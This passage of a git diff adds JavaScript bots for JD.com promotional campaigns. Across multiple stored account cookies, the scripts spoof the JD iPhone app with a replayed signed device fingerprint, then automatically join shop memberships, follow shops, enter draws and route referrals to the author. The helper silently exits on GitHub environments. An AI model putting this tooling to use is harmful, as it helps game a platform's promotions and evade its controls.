`IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res.data || ''); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity/7277549?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard8.js b/backUp/gua_opencard8.js new file mode 100644 index 0000000..d68fe2f --- /dev/null +++ b/backUp/gua_opencard8.js @@ -0,0 +1,756 @@ +/* +8.10-8.15 头号玩家 一起热8 [gua_opencard8.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有10豆(有可能没有豆 +开4个卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku8]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard8="true" +———————————————— +若是手机用户(不是nodejs环境) 是默认直接执行脚本的 +没有适配加购变量 所以是不加购 +———————————————— +入口:[8.10-8.15 头号玩家 一起热8 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=33d9ae00c1904c20bd8a4488fc5d6f33&shareUuid=cee5956e570f4f0985e6f8dddeca9817)] + +============Quantumultx=============== +[task_local] +#8.10-8.15 头号玩家 一起热8 +28 0,22 8-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js, tag=8.10-8.15 头号玩家 一起热8, enabled=true + +================Loon============== +[Script] +cron "28 0,22 8-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js,tag=8.10-8.15 头号玩家 一起热8 + +===============Surge================= +8.10-8.15 头号玩家 一起热8 = type=cron,cronexp="28 0,22 8-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js + +============小火箭========= +8.10-8.15 头号玩家 一起热8 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard8.js, cronexpr="28 0,22 8-15 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.10-8.15 头号玩家 一起热8'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard8 || process.env.guaopencard8 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard8]为"true"') + return + } + } + guaopencard_addSku = process.env.guaopencard_addSku8 + if (!process.env.guaopencard_addSku8 || process.env.guaopencard_addSku8 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku8]为"true"') + } + $.shareUuid = 'cee5956e570f4f0985e6f8dddeca9817' + $.activityId = '33d9ae00c1904c20bd8a4488fc5d6f33' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' + await getWxCommonInfoToken(); + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await getHtml(); + await adLog(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + $.log("开完卡: " + checkOpenCardData.allOpenCard) + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku8]为"true"'); + if(!$.addSku && guaopencard_addSku) await addSku(); + if(!$.addSku && guaopencard_addSku) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data) + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in data.data){ + let item = data.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log(`=========== 你邀请了:${data.data.length}个`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=2736969` + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000009621` + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + if(data.data.beanNumMember && data.data.assistSendStatus){ + msg += ` 额外获得:${data.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if 